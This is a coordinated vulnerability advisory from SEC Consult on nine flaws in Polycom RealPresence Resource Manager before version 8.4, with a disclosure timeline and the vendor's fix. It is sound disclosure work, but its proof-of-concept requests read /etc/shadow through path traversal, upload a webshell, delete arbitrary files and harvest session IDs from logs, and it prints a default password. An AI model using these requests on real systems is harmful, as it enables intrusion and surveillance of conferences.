Polycom RealPresence Resource Manager < 8.4 - Multiple Vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SEC Consult Vulnerability Lab Security Advisory < 20150626-0 > ======================================================================= title: Critical vulnerabilities allow surveillance on conferences product: Polycom RealPresence Resource Manager (RPRM) vulnerable versions: <8.4 fixed version: 8.4 CVE numbers: CVE-2015-4681, CVE-2015-4682, CVE-2015-4683, CVE-2015-4684 CVE-2015-4685 impact: critical homepage: http://www.polycom.com found: 2015-03-10 by: R. Freingruber, C.A. (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: - ------------------- "A key component of the Polycom RealPresence Platform, available as a hardened appliance or software optimized for virtualized environments, the RealPresence Resource Manager application is critical to effectively managing thousands of mobile, desktop, and group telepresence systems." http://www.polycom.com/content/www/en/products-services/realpresence-platform/management-applications/realpresence-resource-manager.html Business recommendation: - ------------------------ By combining all vulnerabilities documented in this advisory an unprivileged authenticated remote attacker can gain full system access (root) on the RPRM appliance. This has an impact on all conferences taking place via this RP Resource Manager. Attackers can steal all conference passcodes and join or record any conference. SEC Consult recommends not to use this system until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: - ----------------------------------- 1) Unauthorized plaintext password disclosure of RMX admin accounts The RPRM discloses the plaintext password of the RMX admin user to an unauthorized unprivileged attacker by including it in certain HTTP responses. No manipulation of parameters is required. 2) Arbitrary file disclosure (I) via path traversal (CVE-2015-4684) Ordinary unprivileged users can download an Excel file of all their upcoming conferences. This functionality can be exploited by an authenticated attacker to download arbitrary files from the server due to insufficient input validation. There is no restriction on which files might be downloaded since this action is performed with root privileges. 3) Plaintext passwords stored in logfiles RPRM generates logdata which includes plaintext passwords. This weakness in combination with the previous vulnerability allows an unprivileged attacker to escalate his privileges to the admin level in the web interface. 4) Arbitrary file upload via path traversal (CVE-2015-4684) This vulnerability requires admin privileges in the web interface, but combining all previous vulnerabilities in this advisory allows privilege escalation. Administrators can import (upload) "user aliases" in the web interface. This functionality is vulnerable to a path traversal attack. This vulnerability can be exploited to upload a webshell and execute arbitrary commands with the permissions of the system user "plcm". 5) Sudo misconfiguration allows privilege escalation (CVE-2015-4685) The "plcm" user is allowed to execute certain tools and scripts in given folders with root privileges. At the same time many of these scripts and folders are writeable to the plcm user. This allows execution of arbitrary code with root privileges. 6) Arbitrary file disclosure (II) and removal (path traversal) (CVE-2015-4684) An authenticated attacker can download and remove any files using this path traversal vulnerability. Exploitation of this vulnerability requires admin privileges. There is no restriction on which files might be downloaded or removed since this action is performed with root privileges. 7) Weak/Missing Authorization The separation of users relies on the fact that conference IDs are not guessable, but as soon as an information disclosure vulnerability allows an attacker to gather conference IDs authorization can be bypassed. The arbitrary file download vulnerability (2) allows an attacker to collect valid conference IDs. 8) Absolute path disclosure (CVE-2015-4682) The web application discloses the absolute path to the web root. To collect this information no parameter manipulation is required. The webroot path is valuable when uploading a web shell (see vulnerability 4). 9) Session ID in GET parameter allows for privilege escalation (CVE-2015-4683) Certain actions on the website (Excel and log file downloads) submit session IDs in HTTP GET parameters. If a privileged user performs such an action his session ID is written to the webserver log which can be retrieved by an unprivileged attacker by exploiting the vulnerability (2). This results in an additional privilege escalation path. Since session IDs are bound to source IP addresses successfull exploitation requires the attacker to have the same source IP as his victim (e.g. NAT). Proof of concept: - ----------------- 1) Unauthorized plaintext password disclosure of RMX admin accounts Request: - ----- POST /PlcmRmWeb/JNetworkDeviceManager?n=... HTTP/1.1 Host: <host>:8443 SOAPAction: http://polycom.com/WebServices/aa:getAvailableBridges <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getAvailableBridges xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><resultsForConferenceOwner>false</resultsForConferenceOwner><areaId>-1</areaId></aa:getAvailableBridges></soap:Body></soap:Envelope> - ----- Response: - ----- <env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'> <env:Header></env:Header> <env:Body> <ns2:getAvailableBridgesResponse xmlns:ns2="http://polycom.com/WebServices"> <return> <status>SUCCESS</status> </return> <mcuList> <belongsToAreaUgpId>0</belongsToAreaUgpId> <defaultAliasName>*redacted*</defaultAliasName> <description></description> <deviceId>*redacted*</deviceId> <deviceName>*redacted*</deviceName> <deviceStatus>ONLINE</deviceStatus> <deviceType>CR</deviceType> <deviceUUID>00000000-0000-0000-0000-000000000000</deviceUUID> <hasDeviceErrors>false</hasDeviceErrors> <ipAddress>*redacted*</ipAddress> <isCallServer>false</isCallServer> <isMcuPoolOrderSource>false</isMcuPoolOrderSource> <managedGatekeeperStatus>NOT_APPLICABLE</managedGatekeeperStatus> <password>*PLAINTEXTPASSWORD*</password> [...] - ----- The same information is disclosed in the "aa:getMCUsNetworkDevicesForList" and "aa:getNetworkDevicesForList" requests. 2) Arbitrary file disclosure (I) via path traversal The following URL allows an attacker to read the /etc/shadow file: https://hostname:8443/PlcmRmWeb/FileDownload?DownloadType=REPORT&Modifier=../../../../../../../etc/shadow&Credentials=*VALID-USER-TOKEN*&ClientId=&FileName= root:<hash>:16135:0:99999:7::: bin:*:15513:0:99999:7::: daemon:*:15513:0:99999:7::: dbus:!!:16135:::::: hacluster:!!:16135:::::: vcsa:!!:16135:::::: rpc:!!:16135:0:99999:7::: ntp:!!:16135:::::: plcm:$1$nqk4wqYm$N4QLTb66K8JwE9yM2GuO.1:16135:::::: [...] (plcm user password is Polycom123) 3) Plaintext passwords stored in logfiles No proof of concept necessary. 4) Arbitrary file upload via path traversal Request: - ----- POST /PlcmRmWeb/FileUpload HTTP/1.1 Accept: text/* Content-Type: multipart/form-data; boundary=----------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 User-Agent: Shockwave Flash Host: <host>:8443 Content-Length: 1076 Connection: Keep-Alive Cache-Control: no-cache - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="Filename" ../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="SE_LOC" null - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="Token" *VALID-USER-TOKEN* - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="SE_FNAME" ../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="UploadType" SIP_URL_CSV - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="FlashSessionId" *session-id* - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="Filedata"; filename="webshell-123.jsp" Content-Type: application/octet-stream *web shell payload here* - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0 Content-Disposition: form-data; name="Upload" Submit Query - ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0-- 5) Sudo misconfiguration allows privilege escalation Excerpt from /etc/sudoers: plcm ALL=(ALL) ALL plcm ALL=(root)NOPASSWD:/usr/sbin/dmidecode plcm ALL=(root)NOPASSWD:/sbin/init plcm ALL=(root)NOPASSWD:/sbin/service plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/bin/getNetworkInfo.pl *...* plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/schema/script/getCipherSuiteMode.sh plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/ha/scripts/* *...* plcm ALL=(root)NOPASSWD:/var/polycom/cma/upgrade/scripts/* plcm ALL=(root)NOPASSWD:/usr/bin/snmptrap plcm ALL=(root)NOPASSWD:/usr/bin/snmpget plcm ALL=(root)NOPASSWD:/sbin/iptables *...* plcm ALL=(root)NOPASSWD:/usr/sbin/tcpdump plcm ALL=(root)NOPASSWD:/usr/sbin/logrotate plcm ALL=(root)NOPASSWD:/usr/sbin/wired_supplicant_configurator Among many other paths in this long list, the folder /var/polycom/cma/upgrade/scripts/ is writeable for the plcm user. Simply placing any malicious script/executable in this folder and executing it via sudo gives an attacker full root access. 6) Arbitrary file disclosure (II) and removal (path traversal) The following request is used to disclose and remove "/etc/hosts" from the system. An arbitrary file can be specified here (operations are executed with root privileges). POST /PlcmRmWeb/JUserManager?n=... HTTP/1.1 Host: <host>:8443 SOAPAction: http://polycom.com/WebServices/aa:importSipUriReservations <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:importSipUriReservations xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><filePathName>../../../../../../../../../../../../../etc/hosts</filePathName></aa:importSipUriReservations></soap:Body></soap:Envelope> It's very likely that the SOAP action "aa:importUserH323Reservations" contains the same vulnerability. 7) Weak/Missing Authorization The exploit of this vulnerability has been removed from this advisory. According to the vendor it is unresolved in the new software version 8.4. 8) Absolute path disclosure Request: - ----- POST /PlcmRmWeb/JConfigManager?n=... HTTP/1.1 Host: <host>:8443 SOAPAction: http://polycom.com/WebServices/aa:getCustomLogoUploadPath Content-Length: 417 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getCustomLogoUploadPath xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials></aa:getCustomLogoUploadPath></soap:Body></soap:Envelope> - ----- Response: - --------- <env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'> <env:Header></env:Header> <env:Body> <ns2:getCustomLogoUploadPathResponse xmlns:ns2="http://polycom.com/WebServices"> <return> <status>SUCCESS</status> </return> <url>/download/CustomLogos/</url> <path>/opt/polycom/cma/current/jserver/web/ROOT.war/download/CustomLogos/</path> </ns2:getCustomLogoUploadPathResponse> </env:Body> </env:Envelope> - ----- At least the following SOAP actions can be used to retrieve absolute paths: - - aa:getCustomLogoUploadPath - - aa:getCustomDesktopLogoUploadPath - - aa:getUploadDirectory - - aa:getSystemLogFiles - - aa:getLegacyUploadDir - - aa:getAuditLogFiles 9) Session ID in GET parameter allows privilege escalation Sample URL that contains a session ID in the GET parameter 'Credential': /PlcmRmWeb/FileDownload?DownloadType=LOGGER&Modifier=-123&Credentials=12345678-1234-1234-1234-123456789000&ClientId=&FileName=Conference.log Path to the webserver access logfiles: /var/log/polycom/cma/audit/localhost_access_log.log /var/log/polycom/cma/audit/localhost_access_log.log.1.gz ... Extract valid session IDs from the log files: egrep "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" localhost_access_log.log Vulnerable versions: - ----------------------------- According to the vendor, all software versions <8.4 are affected. Vendor contact timeline: - ------------------------ 2015-03-25: Video conference with Polycom, discussing vulnerabilities 2015-03-27: Contacting Polycom through security@polycom.com, requesting encryption keys, attaching responsible disclosure policy. 2015-04-01: Polycom provides PGP key 2015-04-02: Sending encrypted security advisory to Polycom 2015-04-03: Polycom provides affected versions 2015-04-29: Polycom provides planned release date (2015-06-19) and version number that fixes issues. 2015-05-06: SEC Consult confirms advisory release date: 2015-06-26 2015-06-15: Polycom releases RPRM v8.4 2015-06-18: Polycom provides URL to RPRM v8.4 2015-06-18: SEC Consult asks for reassurance that v8.4 fixes reported vulnerabilities since 8.4's release notes do not mention any fixes. 2015-06-22: Received a list that the vulnerabilities were fixed. 2015-06-26: Coordinated release of security advisory. Solution: - --------- Update to RPRM v8.4. For further information see the following URL of the vendor: http://support.polycom.com/PolycomService/support/us/support/network/management_scheduling/realpresence_resource_manager.html Exception: RPRM v8.4 does _not_ address the weakness described in section 7 (Weak/Missing Authorization). Workaround: - ----------- None. Advisory URL: - ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. 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Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF SEC Consult Vulnerability Lab / @2015 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) iQIcBAEBAgAGBQJVjTcBAAoJEC0t17XG7og/eMEP/0AYTeU4D59vP7eZvcVDdcJe vt/rKr9MoBSEVki353Fw0cSEQXXsAS3mIkK4Ux9mpwgGfFo5cSm5Yi3ExLJ7eYJV /PgkgNDeS9+lj08MaGBwcmuodzzvYmcfeErnqsNvV7V1vaqe4gfRjvSI5+h5F28l 8DtQEF98WOSNsDxJmPN9lwVsZ7d9QH2duCvyhJ/RY3LFr+3s2JvyX8YoCx+77PBK GnuaOt1hLLfONeMiSpqXZxvOpegj7igx5mTStlNHCbxxos1Rz7UpyRWMnMtMz4mi +mZIBbDeGEoSblGn202TjbM2uYNp5OCCQPCp7pGW2w3AtoQvQDxMCnrkzbK9ORBz 9q8epixzL/GQXd2rtloV7+Kj6Qz13Tvh36rpxvrhR9X/u6N5O7TObMy8n0fZimjh KMip21wn7JniBE4A5jBssdNM3ktfEPdjTBW2N5NAqGQ5VSIRJzI3yVjZIKUH1+WJ dcrQHK36II4CvVTIGsXf/20oaZewGpkmSn/p5iuQy5HBMnXU+/Xr5w1z94vmCOOj a+rUToaCbdK1Ldx9pSktX6OY9bzf1hkZbzNs/UncKa72hha1pTuwR76wY37hMrWu aRI2ZDNBbt/YuHjaiIOcramg9519AcWIoq9kcKIWJdpp2m9ZN3ub8TWPmde6Puii 9TVqPEBEU8NH1SeTdDvw =//g1 -----END PGP SIGNATURE----- |